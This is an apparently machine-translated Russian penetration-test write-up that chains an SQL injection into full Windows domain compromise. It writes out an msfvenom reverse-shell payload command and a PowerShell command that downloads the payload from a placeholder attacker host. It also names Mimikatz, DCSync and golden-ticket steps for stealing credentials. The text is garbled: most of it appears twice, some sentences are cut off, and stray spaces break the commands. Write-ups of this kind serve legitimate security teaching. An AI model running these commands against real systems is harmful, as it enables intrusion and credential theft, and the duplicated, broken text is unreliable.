Недавно мы участвовали в
Поскольку активное перечисление было запрещено на начальном этапе, мы начали с пассивного сбора информации, который включал в себя определение диапазонов IP-адресов, принадлежащих клиенту, перечисление доменов и поддоменов, исследование github, pastebin и других источников для обнаружения утечки конфиденциальной информации и служб с использованием шодана, а также несколько других методов OSINT.
Список ресурсов был составлен и ранжирован на основе ряда факторов, включая данные, такие как утечка учетных данных, устаревшее программное обеспечение, открытые сервисы и т. Д., Из которых мы расставили приоритеты для целей, которые, по нашему мнению, дадут наибольшие результаты. Затем список был передан клиенту, и цели для следующего этапа были подтверждены.
Был исследован один из высокопоставленных веб-сайтов, и была обнаружена уязвимость SQL-инъекций. Используя опцию '-is-dba' в SQLMap, мы определили, что у нас есть привилегии уровня администратора БД. Интерактивный доступ (оболочка sql) был получен при обнаружении нескольких баз данных. Также были найдены несколько учетных записей пользователей базы данных и связанные хэши паролей. Используя
Когда у вас есть выполнение кода, следующим шагом будет достижение лучшего контроля с помощью интерактивной оболочки. Мы возились с несколькими полезными нагрузками meterpreter, но потерпели неудачу почти на всех из них. Продолжая экспериментировать с несколькими методами эксфильтрации, такими как
Используя недавно приобретенную оболочку ICMP, мы возились с скомпрометированной системой и искали все, что могло бы помочь нам во время пост-эксплуатации. Оболочка ICMP также была немного нестабильной, что было недостаточно, чтобы утолить нашу жажду после эксплуатации.
Поскольку хост был Windows-боксом, мы затем попытались получить полезную нагрузку powershell meterpreter. Он получил нам оболочку, но он был обнаружен в течение нескольких секунд, и соединение было разорвано. Небольшое перечисление подтвердило, что на хосте запущен антивирус безопасности предприятия. После нескольких неудачных попыток обойти защиту, мы вернулись к перечислению на хосте и определили, что Python был установлен. Затем мы сгенерировали полезную нагрузку python meterpreter, используя msfvenom, выполнив следующую команду:
msfvenom -f raw -p python / meterpreter / reverse_tcp LHOST = <OUR_HOST> LPORT = 1234> pypreter.py
Вышеуказанная полезная нагрузка была затем размещена на нашем сервере, и мы дали указание скомпрометированному серверу загрузить полезную нагрузку с помощью следующей команды Powershell из оболочки ICMP:
powershell $ WebRequest = New-Object System.Net.WebClient; $ WebRequest.DownloadFile ( 'HTTP: // <OUR_HOST>: 8000 / pypreter.py', 'C: \ Windows \ Temp \ pypreter.py')
Мы запустили наш multi-обработчик metasploit для полезной нагрузки python и выполнили его через оболочку ICMP. Вуаля! Это дало нам наш желанный снаряд meterpreter, как показано ниже:
Хотя гораздо более стабильным, чем наша первоначальная оболочка ICMP, большинство команд meterpreter не смогли получить результаты. Это было из-за ограничений реализации python meterpreter.
От нашей новой оболочки python meterpreter мы перешли к дальнейшему перечислению. Исходя из нашего прошлого опыта, мы нацелены на общие сетевые ресурсы, поскольку они часто не входят в область антивирусного сканирования. К счастью, мы наткнулись на одну из таких акций и сбросили туда полезную нагрузку Windows Stage Meterpreter. Мы запустили еще один обработчик metasploit для незадействованной полезной нагрузки meterpreter, выполнили двоичный файл и, как и ожидалось, получили блестящую новую встроенную оболочку meterpreter.
Когда у вас есть снаряд измерителя, начинаются захватывающие времена. Теперь мы сбрасывали хэши, пытались получить пароли в виде открытого текста, используя mimikatz, извлекать токены делегирования, но мы не получили ничего, что могло бы помочь нам продвинуться дальше, чем мы уже были. Учетные данные для входа в открытый текст не найдены, так как никто не вошел в систему, и локальные хеши не работали где-либо еще.
Мы определили, что хост имеет несколько сетевых интерфейсов, поэтому мы использовали нашу новую оболочку meterpreter для добавления маршрута во внутреннюю сеть с помощью следующей команды:
Маршрут добавить 10.0.1.0 255.255.252.0 1
Как только маршрут был добавлен, мы выполнили сканирование ARP, чтобы определить живые хосты в сети, используя модуль metasploit после эксплуатации, и идентифицировали несколько хостов.
Используя вспомогательный модуль metasploit, мы затем выполнили сканирование портов на живых хостах, чтобы попытаться идентифицировать любые хосты, на которых работает MSSQL, как показано ниже:
Затем мы использовали модуль « вспомогательный / сканер / mssql / mssql_login» с учетными записями базы данных, которые были взломаны ранее, чтобы увидеть, были ли какие-либо учетные записи использованы повторно, как показано ниже:
Мы обнаружили, что одна учетная запись действительна на двух других хостах и имеет права администратора базы данных. С помощью модуля «primary / admin / mssql / mssql_exec» мы смогли использовать эту привилегированную учетную запись, чтобы получить оболочку meterpreter, работающую как SYSTEM. Этот хост работал под управлением операционной системы Windows Server 2003 (которая сейчас устарела). Впоследствии локальные хеши были сброшены, и hashcat взломал кучу локальных учетных записей. Затем оболочка meterpreter использовалась для сброса хэшей учетной записи домена, как показано ниже:
Кроме того, mimikatz также использовался для сброса паролей в виде открытого текста из памяти скомпрометированного блока, как показано ниже:
После дальнейшего перечисления было установлено, что один из этих пользователей был частью группы «Администраторы предприятия». Это дало нам прямой доступ к контроллеру домена. В этот момент мы перешли к массовой эксплуатации и, используя эти учетные данные с высокими привилегиями, извлекли несколько паролей в виде открытого текста со всех других хостов, используя сценарий powershell « Invoke-MassMimikatz.ps1 «.
Кроме того, теперь мы могли выполнять hashdump на контроллере домена для получения хэшей учетных записей с высокими привилегиями, таких как «krbtgt». Здесь мы использовали изящную команду dcsync_ntlm из расширения metasploit kiwi, чтобы извлечь хеш учетной записи krbtgt, как показано ниже.
Затем этот хеш может быть дополнительно использован для создания золотого билета и получения постоянства в сети. На этом мы остановились после долгого пути, начиная с уязвимости веб-приложения и заканчивая многочисленными учетными данными корпоративных администраторов.
Весь сценарий демонстрируется на схеме потока атаки ниже:
Этот компромиссный жизненный цикл подчеркивает тот факт, что к каждой отдельной уязвимости следует относиться с большой важностью, поскольку мы никогда не знаем, когда она станет связующим звеном в цепочечных уязвимостях, что приведет к полному компромиссу. Другим важным аспектом для предприятия является обеспечение создания полного инвентарного списка всех систем и наличие приемлемой политики исправления и обновления.
Источник:
Ссылка скрыта от гостей
в котором единственной информацией, предоставленной нам, было название организации. В этом сообщении в блоге
Ссылка скрыта от гостей
исследует один из путей эксплуатации, благодаря которым мы получили доступ на уровне администратора Windows Enterprise от уязвимости внедрения SQL. У истории есть обычные подозреваемые: OSINT, слабые учетные данные, взлом пароля, небезопасные конфигурации, поворот, обход AV и чистый pwnage.Поскольку активное перечисление было запрещено на начальном этапе, мы начали с пассивного сбора информации, который включал в себя определение диапазонов IP-адресов, принадлежащих клиенту, перечисление доменов и поддоменов, исследование github, pastebin и других источников для обнаружения утечки конфиденциальной информации и служб с использованием шодана, а также несколько других методов OSINT.
Список ресурсов был составлен и ранжирован на основе ряда факторов, включая данные, такие как утечка учетных данных, устаревшее программное обеспечение, открытые сервисы и т. Д., Из которых мы расставили приоритеты для целей, которые, по нашему мнению, дадут наибольшие результаты. Затем список был передан клиенту, и цели для следующего этапа были подтверждены.
Был исследован один из высокопоставленных веб-сайтов, и была обнаружена уязвимость SQL-инъекций. Используя опцию '-is-dba' в SQLMap, мы определили, что у нас есть привилегии уровня администратора БД. Интерактивный доступ (оболочка sql) был получен при обнаружении нескольких баз данных. Также были найдены несколько учетных записей пользователей базы данных и связанные хэши паролей. Используя
Ссылка скрыта от гостей
мы смогли взломать несколько таких хэшей паролей. Кроме того, поскольку на сервере базы данных был включен xp_cmdshell, мы могли выполнять команды ОС. Это было подтверждено OOB DNS Calls на наш пользовательский домен «xyz.abc.sos.notsosecure.com», как показано ниже:Когда у вас есть выполнение кода, следующим шагом будет достижение лучшего контроля с помощью интерактивной оболочки. Мы возились с несколькими полезными нагрузками meterpreter, но потерпели неудачу почти на всех из них. Продолжая экспериментировать с несколькими методами эксфильтрации, такими как
Ссылка скрыта от гостей
мы остановились на интерактивной оболочке ICMP через xp_cmdshell , как показано ниже:Используя недавно приобретенную оболочку ICMP, мы возились с скомпрометированной системой и искали все, что могло бы помочь нам во время пост-эксплуатации. Оболочка ICMP также была немного нестабильной, что было недостаточно, чтобы утолить нашу жажду после эксплуатации.
Поскольку хост был Windows-боксом, мы затем попытались получить полезную нагрузку powershell meterpreter. Он получил нам оболочку, но он был обнаружен в течение нескольких секунд, и соединение было разорвано. Небольшое перечисление подтвердило, что на хосте запущен антивирус безопасности предприятия. После нескольких неудачных попыток обойти защиту, мы вернулись к перечислению на хосте и определили, что Python был установлен. Затем мы сгенерировали полезную нагрузку python meterpreter, используя msfvenom, выполнив следующую команду:
msfvenom -f raw -p python / meterpreter / reverse_tcp LHOST = <OUR_HOST> LPORT = 1234> pypreter.py
Вышеуказанная полезная нагрузка была затем размещена на нашем сервере, и мы дали указание скомпрометированному серверу загрузить полезную нагрузку с помощью следующей команды Powershell из оболочки ICMP:
powershell $ WebRequest = New-Object System.Net.WebClient; $ WebRequest.DownloadFile ( 'HTTP: // <OUR_HOST>: 8000 / pypreter.py', 'C: \ Windows \ Temp \ pypreter.py')
Мы запустили наш multi-обработчик metasploit для полезной нагрузки python и выполнили его через оболочку ICMP. Вуаля! Это дало нам наш желанный снаряд meterpreter, как показано ниже:
Хотя гораздо более стабильным, чем наша первоначальная оболочка ICMP, большинство команд meterpreter не смогли получить результаты. Это было из-за ограничений реализации python meterpreter.
От нашей новой оболочки python meterpreter мы перешли к дальнейшему перечислению. Исходя из нашего прошлого опыта, мы нацелены на общие сетевые ресурсы, поскольку они часто не входят в область антивирусного сканирования. К счастью, мы наткнулись на одну из таких акций и сбросили туда полезную нагрузку Windows Stage Meterpreter. Мы запустили еще один обработчик metasploit для незадействованной полезной нагрузки meterpreter, выполнили двоичный файл и, как и ожидалось, получили блестящую новую встроенную оболочку meterpreter.
Когда у вас есть снаряд измерителя, начинаются захватывающие времена. Теперь мы сбрасывали хэши, пытались получить пароли в виде открытого текста, используя mimikatz, извлекать токены делегирования, но мы не получили ничего, что могло бы помочь нам продвинуться дальше, чем мы уже были. Учетные данные для входа в открытый текст не найдены, так как никто не вошел в систему, и локальные хеши не работали где-либо еще.
Мы определили, что хост имеет несколько сетевых интерфейсов, поэтому мы использовали нашу новую оболочку meterpreter для добавления маршрута во внутреннюю сеть с помощью следующей команды:
Маршрут добавить 10.0.1.0 255.255.252.0 1
Как только маршрут был добавлен, мы выполнили сканирование ARP, чтобы определить живые хосты в сети, используя модуль metasploit после эксплуатации, и идентифицировали несколько хостов.
Используя вспомогательный модуль metasploit, мы затем выполнили сканирование портов на живых хостах, чтобы попытаться идентифицировать любые хосты, на которых работает MSSQL, как показано ниже:
Затем мы использовали модуль « вспомогательный / сканер / mssql / mssql_login» с учетными записями базы данных, которые были взломаны ранее, чтобы увидеть, были ли какие-либо учетные записи использованы повторно, как показано ниже:
Мы обнаружили, что одна учетная запись действительна на двух других хостах и имеет права администратора базы данных. С помощью модуля «primary / admin / mssql / mssql_exec» мы смогли использовать эту привилегированную учетную запись, чтобы получить оболочку meterpreter, работающую как SYSTEM. Этот хост работал под управлением операционной системы Windows Server 2003 (которая сейчас устарела). Впоследствии локальные хеши были сброшены, и hashcat взломал кучу локальных учетных записей. Затем оболочка meterpreter использовалась для сброса хэшей учетной записи домена, как показано ниже:
Кроме того, mimikatz также использовался для сброса паролей в виде открытого текста из памяти скомпрометированного блока, как показано ниже:
После дальнейшего перечисления было установлено, что один из этих пользователей был частью группы «Администраторы предприятия». Это дало нам прямой доступ к контроллеру домена. В этот момент мы перешли к массовой эксплуатации и, используя эти учетные данные с высокими привилегиями, извлекли несколько паролей в виде открытого текста со всех других хостов, используя сценарий powershell « Invoke-MassMimikatz.ps1 «.
Кроме того, теперь мы могли выполнять hashdump на контроллере домена для получения хэшей учетных записей с высокими привилегиями, таких как «krbtgt». Здесь мы использовали изящную команду dcsync_ntlm из расширения metasploit kiwi, чтобы извлечь хеш учетной записи krbtgt, как показано ниже.
Затем этот хеш может быть дополнительно использован для создания золотого билета и получения постоянства в сети. На этом мы остановились после долгого пути, начиная с уязвимости веб-приложения и заканчивая многочисленными учетными данными корпоративных администраторов.
Весь сценарий демонстрируется на схеме потока атаки ниже:
Этот компромиссный жизненный цикл подчеркивает тот факт, что к каждой отдельной уязвимости следует относиться с большой важностью, поскольку мы никогда не знаем, когда она станет связующим звеном в цепочечных уязвимостях, что приведет к полному компромиссу. Другим важным аспектом для предприятия является обеспечение создания полного инвентарного списка всех систем и наличие приемлемой политики исправления и обновления.
Источник:
Ссылка скрыта от гостей